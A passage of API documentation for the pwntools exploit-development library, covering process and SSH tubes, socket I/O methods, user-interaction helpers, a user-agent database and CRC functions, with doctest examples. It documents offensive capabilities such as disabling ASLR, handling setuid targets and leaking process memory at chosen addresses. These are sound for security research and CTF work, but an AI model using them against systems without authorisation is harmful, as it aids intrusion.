The default value is inherited from context.aslr. See setuid below for additional options and information.

setuid (bool) – Used to control setuid status of the target binary, and the corresponding actions taken.

By default, this value is None, so no assumptions are made.

If True, treat the target binary as setuid. This modifies the mechanisms used to disable ASLR on the process if aslr=False. This is useful for debugging locally, when the exploit is a setuid binary.

If False, prevent setuid bits from taking effect on the target binary. This is only supported on Linux, with kernels v3.5 or greater.

- where (str) Where the process is running, used for logging purposes.
- **display** (list) List of arguments to display, instead of the main executable name.

proc

subprocess

Examples

```
>>> p = process('python2')
>>> p.sendline("print 'Hello world'")
>>> p.sendline("print 'Wow, such data'");
>>> '' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
>>> p.recvline()
'Hello world\n'
>>> p.recvuntil(',')
'Wow,'
>>> p.recvregex('.*data')
' such data'
>>> p.recv()
'\n'
>>> p.recv()
Traceback (most recent call last):
EOFError
```

```
>>> p = process('cat')
>>> d = open('/dev/urandom').read(4096)
>>> p.recv(timeout=0.1)
''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
True
>>> p.recv(timeout=0.1)
''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
```

```
>>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null', 'w+'))
>>> p.recv()
'\x00\x00\x00\x00\x00\x00\x00\x00'
```

```
>>> p = process(['python','-c','import os; print os.read(2,1024)'],
               preexec_fn = lambda: os.dup2(0,2))
>>> p.sendline('hello')
>>> p.recvline()
'hello\n'
>>> stack_smashing = ['python','-c','open("/dev/tty","wb").write("stack smashing detected")']
>>> process(stack_smashing).recvall()
'stack smashing detected'
>>> PIPE=subprocess.PIPE
>>> process(stack_smashing, stdout=PIPE).recvall()
>>> getpass = ['python','-c','import getpass; print getpass.getpass("XXX")']
>>> p = process(getpass, stdin=process.PTY)
>>> p.recv()
'XXX'
>>> p.sendline('hunter2')
>>> p.recvall()
'\nhunter2\n'
>>> process('echo hello 1>&2', shell=True).recvall()
'hello\n'
>>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()
>>> a = process(['cat', '/proc/self/maps']).recvall()
>>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
>>> with context.local(aslr=False):
     c = process(['cat', '/proc/self/maps']).recvall()
>>> a == b
False
>>> b == c
>>> process(['sh','-c','ulimit -s'], aslr=0).recvline()
'unlimited\n'
argv = None
    Arguments passed on argv
aslr = None
    Whether ASLR should be left on
communicate (stdin = None) \rightarrow str
    Calls subprocess. Popen. communicate () method on the process.
cwd = None
    Directory the process was created in
env = None
    Environment passed on envp
executable = None
    Full path to the executable
kill()
    Kills the process.
```

leak (address, count=0)

Leaks memory within the process at the specified address.

Parameters

- address (int) Address to leak memory at
- **count** (*int*) Number of bytes to leak at that address.

libc

Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

```
libs() \rightarrow dict
```

Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded at in the process' address space.

If /proc/\$PID/maps for the process cannot be accessed, the output of ldd alone is used. This may give inaccurate results if ASLR is enabled.

```
poll (block = False) \rightarrow int
```

```
Parameters block (bool) – Wait for the process to exit
```

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

proc = None

subprocess. Popen object

program

Alias for executable, for backward compatibility

pty = None

Which file descriptor is the controlling TTY

raw = None

Whether the controlling TTY is set to raw mode

pwnlib.tubes.serialtube — Serial Ports

```
class pwnlib.tubes.serialtube (port=None, baudrate=115200, convert_newlines=True, bytesize=8, parity='N', stop-bits=1, xonxoff=False, rtscts=False, dsrdtr=False, timeout=pwnlib.timeout.Timeout.default, level=None)
```

pwnlib.tubes.sock — Sockets

```
class pwnlib.tubes.sock.sock
    Bases: pwnlib.tubes.tube.tube
```

Methods available exclusively to sockets.

Bases: pwnlib.tubes.sock.sock

Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.

The returned object supports all the methods from pwnlib.tubes.sock and pwnlib.tubes.tube.

Parameters

- host (str) The host to connect to.
- port (int) The port to connect to.
- fam The string "any", "ipv4" or "ipv6" or an integer to pass to socket.getaddrinfo().
- typ The string "tcp" or "udp" or an integer to pass to socket.getaddrinfo().
- timeout A positive number, None or the string "default".
- ssl (bool) Wrap the socket with SSL
- sock (socket) Socket to inherit, rather than connecting

Examples

```
>>> r = remote('google.com', 443, ssl=True)
>>> r.send('GET /\r\n\r\n')
>>> r.recvn(4)
'HTTP'
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
>>> import socket
>>> s = socket.socket()
>>> s.connect(('google.com', 80))
>>> s.send('GET /' + '\r\n'*2)
9
>>> r = remote.fromsocket(s)
>>> r.recvn(4)
'HTTP'
```

classmethod fromsocket (socket)

Helper method to wrap a standard python socket.socket with the tube APIs.

Parameters socket - Instance of socket.socket

Returns Instance of pwnlib.tubes.remote.remote.

Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.

The returned object supports all the methods from pwnlib.tubes.sock and pwnlib.tubes.tube.

- **port** (*int*) The port to connect to.
- **bindaddr** (str) The address to bind to.
- fam The string "any", "ipv4" or "ipv6" or an integer to pass to socket.getaddrinfo().
- typ The string "tcp" or "udp" or an integer to pass to socket.getaddrinfo().

• timeout – A positive number, None

wait_for_connection()

Blocks until a connection has been established.

```
pwnlib.tubes.ssh — SSH
```

cache = True

Enable caching of SSH downloads (bool)

client = None

Paramiko SSHClient which backs this object

close()

Close the connection.

 $connect_remote(host, port, timeout = Timeout.default) \rightarrow ssh_connecter$

Connects to a host through an SSH connection. This is equivalent to using the -L flag on ssh.

Returns a pwnlib.tubes.ssh.ssh_connecter object.

Examples

connected()

Returns True if we are connected.

Example

cwd = None

Working directory (str)

download data(remote)

Downloads a file from the remote server and returns it as a string.

Parameters remote (str) – The remote filename to download.

Examples

download_dir (remote=None, local=None)

Recursively downloads a directory from the remote server

Parameters

- local Local directory
- remote Remote directory

download_file (remote, local=None)

Downloads a file from the remote server.

The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has little overhead.

Parameters

- remote (str) The remote filename to download
- **local** (*str*) The local filename to save it to. Default is to infer it from the remote filename.

```
getenv (variable, **kwargs)
```

Retrieve the address of an environment variable on the remote system.

Note: The exact address will differ based on what other environment variables are set, as well as argv[0]. In order to ensure that the path is *exactly* the same, it is recommended to invoke the process with argv=[].

Example

host = None

Remote host name (str)

interactive(shell=None)

Create an interactive session.

This is a simple wrapper for creating a new pwnlib.tubes.ssh.ssh_channel object and calling pwnlib.tubes.ssh.ssh_channel.interactive() on it.

libs (remote, directory=None)

Downloads the libraries referred to by a file.

This is done by running ldd on the remote server, parsing the output and downloading the relevant files.

The directory argument specified where to download the files. This defaults to './\$HOSTNAME' where \$HOSTNAME is the hostname of the remote server.

```
listen (port=0, bind_address='', timeout=pwnlib.timeout.Timeout.default) listen_remote(port = 0, bind_address = '', timeout = Timeout.default) -> ssh_connecter
```

Listens remotely through an SSH connection. This is equivalent to using the -R flag on ssh.

Returns a pwnlib.tubes.ssh.ssh_listener object.

Examples

listen_remote (port = 0, $bind_address = ``, timeout = Timeout.default) <math>\rightarrow$ ssh_connecter Listens remotely through an SSH connection. This is equivalent to using the -R flag on ssh.

Returns a pwnlib.tubes.ssh.ssh_listener object.

Examples

pid = None

PID of the remote sshd process servicing this connection.

port = None

Remote port (int)

 $\label{eq:process} process (argv=None, executable=None, tty=True, cwd=None, env=None, time-out=pwnlib.timeout.Timeout.default, run=True, stdin=0, stdout=1, stderr=2, pre-exec_fn=None, preexec_args=[], raw=True, aslr=None, setuid=None)$

Executes a process on the remote server, in the same fashion as pwnlib.tubes.process.process.

To achieve this, a Python script is created to call os .execve with the appropriate arguments.

As an added bonus, the ssh_channel object returned has a pid property for the process pid.

Parameters

- argv (list) List of arguments to pass into the process
- executable (str) Path to the executable to run. If None, argv [0] is used.
- **tty** (bool) Request a *tty* from the server. This usually fixes buffering problems by causing *libc* to write data immediately rather than buffering it. However, this disables interpretation of control codes (e.g. Ctrl+C) and breaks .*shutdown*.
- **cwd** (str) Working directory. If None, uses the working directory specified on cwd or set via set_working_directory().
- env (dict) Environment variables to set in the child. If None, inherits the default
 environment.
- **timeout** (*int*) Timeout to set on the *tube* created to interact with the process.
- **run** (bool) Set to True to run the program (default). If False, returns the path to an executable Python script on the remote server which, when executed, will do it.
- **stdin** (*int*, *str*) If an integer, replace stdin with the numbered file descriptor. If a string, a open a file with the specified path and replace stdin with its file descriptor. May also be one of sys.stdin, sys.stdout, sys.stderr. If None, the file descriptor is closed.
- **stdout** (*int*, *str*) **See** stdin.
- stderr(int, str) See stdin.
- **preexec_fn** (*callable*) Function which is executed on the remote side before execve().
- **preexec_args** (object) Argument passed to preexec_fn.
- raw (bool) If True, disable TTY control code interpretation.
- aslr(bool) See pwnlib.tubes.process.process for more information.
- **setuid** (bool) **See** pwnlib.tubes.process.process for more information.

Returns A new SSH channel, or a path to a script if run=False.

Notes

Requires Python on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
          user='travis',
           password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline('echo Hello; exit')
>>> sh.recvall()
'Hello\n'
>>> s.process(['/bin/echo', '\xff']).recvall()
>>> s.process(['readlink', '/proc/self/exe']).recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').recvall()
'LOLOLOL\x00/proc/self/cmdline\x00'
>>> sh = s.process(executable='/bin/sh')
>>> sh.pid in pidof('sh')
True
>>> s.process(['pwd'], cwd='/tmp').recvall()
'/tmp\n'
>>> p = s.process(['python','-c','import os; print os.read(2, 1024)'], stderr=0)
>>> p.send('hello')
>>> p.recv()
'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
>>> s.process(['/usr/bin/env'], env={}).recvall()
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
'A=B\n'
```

remote (host, port, timeout=pwnlib.timeout.Timeout.default)

connect remote(host, port, timeout = Timeout.default) -> ssh connecter

Connects to a host through an SSH connection. This is equivalent to using the -L flag on ssh.

Returns a pwnlib.tubes.ssh.ssh_connecter object.

Examples

run (process, tty=True, wd=None, env=None, timeout=pwnlib.timeout.Timeout.default, raw=True)
Backward compatibility. Use system()

```
run_to_end (process, tty = False, timeout = Timeout.default, env = None) \rightarrow str
```

Run a command on the remote server and return a tuple with (data, exit_status). If tty is True, then the command is run inside a TTY on the remote server.

Examples

set_working_directory (wd=None)

Sets the working directory in which future commands will be run (via ssh.run) and to which files will be uploaded/downloaded from if no path is provided

Note: This uses mktemp -d under the covers, sets permissions on the directory to 0700. This means that setuid binaries will **not** be able to access files created in this directory.

In order to work around this, we also chmod +x the directory.

Parameters wd (*string*) – Working directory. Default is to auto-generate a directory based on the result of running 'mktemp -d' on the remote machine.

Examples

sftp

Paramiko SFTPClient object which is used for file transfers. Set to None to disable sftp.

```
shell (shell = None, tty = True, timeout = Timeout.default) \rightarrow ssh_channel Open a new channel with a shell inside.
```

Parameters

- **shell** (str) Path to the shell program to run. If None, uses the default shell for the logged in user.
- tty (bool) If True, then a TTY is requested on the remote server.

Returns Return a pwnlib.tubes.ssh.ssh_channel object.

Examples

```
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline('echo Hello; exit')
>>> print 'Hello' in sh.recvall()
True
```

```
system(process, tty = True, wd = None, env = None, timeout = Timeout.default, raw = True) \rightarrow ssh_channel
```

Open a new channel with a specific process inside. If *tty* is True, then a TTY is requested on the remote server.

If raw is True, terminal control codes are ignored and input is not echoed back.

Return a pwnlib.tubes.ssh.ssh_channel object.

Examples

upload_data(data, remote)

Uploads some data into a file on the remote server.

Parameters

- data (str) The data to upload.
- **remote** (str) The filename to upload it to.

Example

upload_dir(local, remote=None)

Recursively uploads a directory onto the remote server

Parameters

• local – Local directory

• remote – Remote directory

```
upload_file (filename, remote=None)
```

Uploads a file to the remote server. Returns the remote filename.

Arguments: filename(str): The local filename to download remote(str): The remote filename to save it to. Default is to infer it from the local filename.

```
which (program) \rightarrow str
```

Minor modification to just directly invoking which on the remote system which adds the current working directory to the end of \$PATH.

```
class pwnlib.tubes.ssh.ssh_channel
```

Bases: pwnlib.tubes.sock.sock

```
interactive (prompt = pwnlib.term.text.bold_red('$') + ' ')
```

If not in TTY-mode, this does exactly the same as meth: pwnlib.tubes.tube.tube.interactive, otherwise it does mostly the same.

An SSH connection in TTY-mode will typically supply its own prompt, thus the prompt argument is ignored in this case. We also have a few SSH-specific hacks that will ideally be removed once the pwnlib.term is more mature.

kill()

Kills the process.

```
poll() \rightarrow int
```

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

```
class pwnlib.tubes.ssh.ssh_connecter
```

Bases: pwnlib.tubes.sock.sock

class pwnlib.tubes.ssh.ssh_listener

Bases: pwnlib.tubes.sock.sock

2.21.2 pwnlib.tubes.tube — Common Functionality

```
class pwnlib.tubes.tube.tube
```

Container of all the tube functions common to sockets, TTYs and SSH connetions.

```
can recv (timeout = 0) \rightarrow bool
```

Returns True, if there is data available within timeout seconds.

Examples

```
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda *a: False
>>> t.can_recv()
False
>>> _=t.unrecv('data')
>>> t.can_recv()
True
>>> _=t.recv()
>>> t.can_recv()
False
```

clean(timeout = 0.05)

Removes all the buffered data from a tube by calling pwnlib.tubes.tube.tube.recv() with a low timeout until it fails.

If timeout is zero, only cached data will be cleared.

Note: If timeout is set to zero, the underlying network is not actually polled; only the internal buffer is cleared.

Returns All data received

Examples

```
>>> t = tube()
>>> t.unrecv('clean me up')
>>> t.clean(0)
'clean me up'
>>> len(t.buffer)
0
```

clean and log(timeout = 0.05)

Works exactly as pwnlib.tubes.tube.tube.clean(), but logs received data with pwnlib.self.info().

Returns All data received

Examples

```
>>> def recv(n, data=['', 'hooray_data']):
...    while data: return data.pop()
>>> t = tube()
>>> t.recv_raw = recv
>>> t.connected_raw = lambda d: True
>>> t.fileno = lambda: 1234
>>> with context.local(log_level='info'):
...    data = t.clean_and_log()
[DEBUG] Received 0xb bytes:
    'hooray_data'
>>> data
'hooray_data'
>>> context.clear()
```

close()

Closes the tube.

connect_both (other)

Connects the both ends of this tube object with another tube object.

connect_input (other)

Connects the input of this tube to the output of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
... while data: return data.pop()
```

```
raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> import time
>>> _=(b.connect_input(a), time.sleep(0.1))
data
```

connect_output (other)

Connects the output of this tube to the input of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> ca.connect_output(b), time.sleep(0.1))
data
```

connected ($direction = 'any') \rightarrow bool$

Returns True if the tube is connected in the specified direction.

Parameters direction (str) – Can be the string 'any', 'in', 'read', 'recv', 'out', 'write', 'send'.

Doctest:

```
>>> def p(x): print x
>>> t = tube()
>>> t.connected_raw = p
>>> _=map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send'))
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send', 'write']"
```

```
connected raw(direction)
```

```
connected(direction = 'any') -> bool
```

Should not be called directly. Returns True iff the tube is connected in the given direction.

```
fileno() \rightarrow int
```

Returns the file number used for reading.

```
interactive (prompt = pwnlib.term.text.bold_red('$') + ' ')
```

Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using <code>pwnlib.term</code> to print a floating prompt.

Thus it only works in while in pwnlib.term.term_mode.

newline = '\n'

Delimiter to use for sendline (), recvline (), and related functions.

```
recv (numb = 4096, timeout = default) \rightarrow str
```

Receives up to *numb* bytes of data from the tube, and returns as soon as any quantity of data is available.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

```
Raises exceptions.EOFError - The connection is closed
```

Returns A string containing bytes received from the socket, or '' if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: 'Hello, world'
>>> t.recv() == 'Hello, world'
True
>>> t.unrecv('Woohoo')
>>> t.recv() == 'Woohoo'
True
>>> with context.local(log_level='debug'):
... _ = t.recv()
[...] Received 0xc bytes:
    'Hello, world'
```

$\textbf{recvall} \, (\,) \, \to str$

Receives data until EOF is reached.

```
recvline (keepends = True) \rightarrow str
```

Receive a single line from the tube.

A "line" is any sequence of bytes terminated by the byte sequence set in newline, which defaults to '\n'.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

Parameters

- **keepends** (bool) Keep the line ending (True).
- timeout (int) Timeout

Returns All bytes received over the tube until the first newline '\n' is received. Optionally retains the ending.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\r\nBaz\n'
>>> t.recvline()
'Foo\n'
>>> t.recvline()
'Bar\r\n'
>>> t.recvline(keepends = False)
'Baz'
>>> t.newline = '\r\n'
>>> t.recvline(keepends = False)
'Foo\nBar'
```

recvline_contains (items, keepends=False, timeout=pwnlib.timeout.Timeout.default)

Receive lines until one line is found which contains at least one of *items*.

Parameters

- items (str, tuple) List of strings to search for, or a single string.
- keepends (bool) Return lines with newlines if True
- timeout (int) Timeout, in seconds

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_contains('r')
'World'
>>> f = lambda n: "cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains('pear')
'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
```

recvline_endswith (delims, keepends = False, timeout = default) \rightarrow str

Keep receiving lines until one is found that starts with one of delims. Returns the last line received.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

See recvline_startswith() for more details.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith('r')
'Bar'
>>> t.recvline_endswith(tuple('abcde'), True)
'Kaboodle\n'
>>> t.recvline_endswith('oodle')
'Kaboodle'
```

$recvline_pred(pred, keepends = False) \rightarrow str$

Receive data until pred (line) returns a truthy value. Drop all other data.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

Parameters pred (callable) – Function to call. Returns the line for which this function returns True.

Examples

recvline_regex (regex, exact=False, keepends=False, timeout=pwnlib.timeout.Timeout.default) recvregex(regex, exact = False, keepends = False, timeout = default) -> str

Wrapper around recvline_pred(), which will return when a regex matches a line.

By default re.RegexObject.search() is used, but if exact is set to True, then re.RegexObject.match() will be used instead.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

```
recvline\_startswith (delims, keepends = False, timeout = default) \rightarrow str
```

Keep receiving lines until one is found that starts with one of delims. Returns the last line received.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

Parameters

- **delims** (str, tuple) List of strings to search for, or string of single characters
- **keepends** (bool) Return lines with newlines if True
- timeout (int) Timeout, in seconds

Returns The first line received which starts with a delimiter in delims.

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith(tuple('WXYZ'))
'World'
>>> t.recvline_startswith(tuple('WXYZ'), True)
'Xylophone\n'
>>> t.recvline_startswith('Wo')
'World'
```

recvlines (numlines, keepends = False, timeout = default) \rightarrow str list

Receive up to numlines lines.

A "line" is any sequence of bytes terminated by the byte sequence set by newline, which defaults to '\n'.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

Parameters

- numlines (int) Maximum number of lines to receive
- **keepends** (bool) Keep newlines at the end of each line (False).
- timeout (int) Maximum timeout

 $\textbf{Raises} \ \texttt{exceptions.EOFError-The connection closed before the request could be satisfied}$

Returns A string containing bytes received from the socket, or '' if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: '\n'
>>> t.recvlines(3)
['', '', '']
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
['Foo', 'Bar', 'Baz']
>>> t.recvlines(3, True)
['Foo\n', 'Bar\n', 'Baz\n']
```

recvn (numb, timeout = default) \rightarrow str

Receives exactly n bytes.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

 $\textbf{Raises} \ \texttt{exceptions.EOFError-The connection closed before the request could be satisfied}$

Returns A string containing bytes received from the socket, or '' if a timeout occurred while waiting.

```
>>> t = tube()
>>> data = 'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[0]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a'
>>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a'
>>> t.recvn(10, timeout=0.05)
''
>>> t.recvn(10, timeout=0.06)
'aaaaaa...'
```

recvpred (*pred*, *timeout* = default) \rightarrow str

Receives one byte at a time from the tube, until pred (bytes) evaluates to True.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

Parameters

- pred (callable) Function to call, with the currently-accumulated data.
- timeout (int) Timeout for the operation

Raises exceptions.EOFError - The connection is closed

Returns A string containing bytes received from the socket, or '' if a timeout occurred while waiting.

```
recvregex (regex, exact = False, timeout = default) \rightarrow str
```

Wrapper around recvpred (), which will return when a regex matches the string in the buffer.

By default re.RegexObject.search() is used, but if *exact* is set to True, then re.RegexObject.match() will be used instead.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

recvrepeat()

Receives data until a timeout or EOF is reached.

Examples

```
>>> data = [
... 'd',
... '', # simulate timeout
... 'c',
... 'b',
... 'a',
... ]
>>> def delayrecv(n, data=data):
... return data.pop()
>>> t = tube()
```

```
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
'abc'
>>> t.recv()
'd'
```

recvuntil (delims, timeout = default) \rightarrow str

Receive data until one of delims is encountered.

If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('') is returned.

Parameters

- **delims** (str, tuple) String of delimiters characters, or list of delimiter strings.
- **drop** (bool) Drop the ending. If True it is removed from the end of the return value.

 $\textbf{Raises} \ \texttt{exceptions.EOFError-The connection closed before the request could be satisfied}$

Returns A string containing bytes received from the socket, or '' if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello World!"
>>> t.recvuntil(' ')
'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil(tuple(' Wor'))
'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(' Wor')
'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(' Wor', drop=True)
'Hello'
>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello|World"
>>> t.recvuntil('|', drop=True)
'Hello'
```

send (data)

Sends data.

If log level DEBUG is enabled, also prints out the data received.

If it is not possible to send anymore because of a closed connection, it raises exceptions. EOFError

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.send('hello')
'hello'
```

 $sendafter(delim, data, timeout = default) \rightarrow str$

A combination of recvuntil (delim, timeout) and send (data).

sendline (data)

Shorthand for t.send(data + t.newline).

Examples

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline('hello')
'hello\n'
>>> t.newline = '\r\n'
>>> t.sendline('hello')
'hello\r\n'
```

sendlineafter (delim, data, timeout = default) \rightarrow str

A combination of recvuntil (delim, timeout) and sendline (data).

sendlinethen (delim, data, timeout = default) \rightarrow str

A combination of sendline (data) and recvuntil (delim, timeout).

sendthen (delim, data, timeout = default) \rightarrow str

A combination of send (data) and recvuntil (delim, timeout).

settimeout (timeout)

Set the timeout for receiving operations. If the string "default" is given, then context.timeout will be used. If None is given, then there will be no timeout.

Examples

```
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
```

shutdown (direction = "send")

Closes the tube for futher reading or writing depending on direction.

Parameters direction (str) – Which direction to close; "in", "read" or "recv" closes the tube in the ingoing direction, "out", "write" or "send" closes it in the outgoing direction.

Returns None

```
>>> def p(x): print x
>>> t = tube()
>>> t.shutdown_raw = p
>>> _=map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send'))
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"
```

shutdown raw(direction)

Should not be called directly. Closes the tube for further reading or writing.

```
spawn_process(*args, **kwargs)
```

Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as subprocess. Popen.

timeout_change()

Informs the raw layer of the tube that the timeout has changed.

Should not be called directly.

Inherited from Timeout.

unrecv (data)

Puts the specified data back at the beginning of the receive buffer.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'hello'
>>> t.recv()
'hello'
>>> t.recv()
'hello'
>>> t.unrecv('world')
>>> t.recv()
'world'
>>> t.recv()
'hello'
```

wait()

Waits until the tube is closed.

wait_for_close()

Waits until the tube is closed.

2.22 pwnlib.ui — Functions for user interaction

```
pwnlib.ui.more(text)
```

Shows text like the command line tool more.

It not in term_mode, just prints the data to the screen.

Parameters text (str) – The text to show.

Returns None

pwnlib.ui.options(prompt, opts, default=None)

Presents the user with a prompt (typically in the form of a question) and a number of options.

Parameters

- **prompt** (str) The prompt to show
- opts (list) The options to show to the user
- **default** The default option to choose

Returns The users choice in the form of an integer.

```
pwnlib.ui.pause(n=None)
```

Waits for either user input or a specific number of seconds.

```
pwnlib.ui.yesno(prompt, default=None)
```

Presents the user with prompt (typically in the form of question) which the user must answer yes or no.

Parameters

- **prompt** (str) The prompt to show
- **default** The default option; *True* means "yes"

Returns *True* if the answer was "yes", *False* if "no"

2.23 pwnlib.useragents — A database of useragent strings

Database of >22,000 user agent strings

```
pwnlib.useragents.getall() \rightarrow str set
```

Get all the user agents that we know about.

Parameters None -

Returns A set of user agent strings.

Examples

```
>>> 'libcurl-agent/1.0' in getall()
True
>>> 'wget' in getall()
True
```

```
pwnlib.useragents.random() \rightarrow str
```

Get a random user agent string.

Parameters None -

Returns A random user agent string selected from getall().

```
>>> import random as randommod
>>> randommod.seed(1)
>>> random()
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; FunWebProducts-MyTotalSearch
```

2.24 pwnlib.util.crc — Calculating CRC-sums

Module for calculating CRC-sums.

Contains all crc implementations know on the interwebz. For most implementations it contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working directly on bit polynomials.

The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of 'A' *40000.

An obvious optimization would be to actually generate some lookup-tables.

```
pwnlib.util.crc.generic_crc (data, polynom, width, init, refin, refout, xorout)
A generic CRC-sum function.
```

This is suitable to use with: http://reveng.sourceforge.net/crc-catalogue/all.htm

The "check" value in the document is the CRC-sum of the string "123456789".

Parameters

- data (str) The data to calculate the CRC-sum of. This should either be a string or a list
 of bits.
- polynom (int) The polynomial to use.
- init (int) If the CRC-sum was calculated in hardware, then this would b the initial value of the checksum register.
- **refin** (bool) Should the input bytes be reflected?
- **refout** (bool) Should the checksum be reflected?
- xorout (int) The value to xor the checksum with before outputting

```
pwnlib.util.crc.cksum(data) \rightarrow int
```

Calculates the same checksum as returned by the UNIX-tool cksum.

Parameters data (str) – The data to checksum.

Example

```
>>> print cksum('123456789')
930766865
```

```
pwnlib.util.crc.find_crc_function(data, checksum)
```

Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all known CRC functions one after the other.

Parameters data (str) – Data for which the checksum is known.

```
>>> find_crc_function('test', 46197)
      [<function crc_crc_16_dnp at ...>]
pwnlib.util.crc.arc(data) \rightarrow int
     Calculates the arc checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x8005
          •width = 16
          •init = 0x0
          •refin = True
          •refout = True
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16
           Parameters data (str) – The data to checksum.
     Example
     >>> print arc('123456789')
      47933
pwnlib.util.crc.crc_10 (data) \rightarrow int
     Calculates the crc_10 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x233
          •width = 10
          •init = 0x0
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_10('123456789')
     409
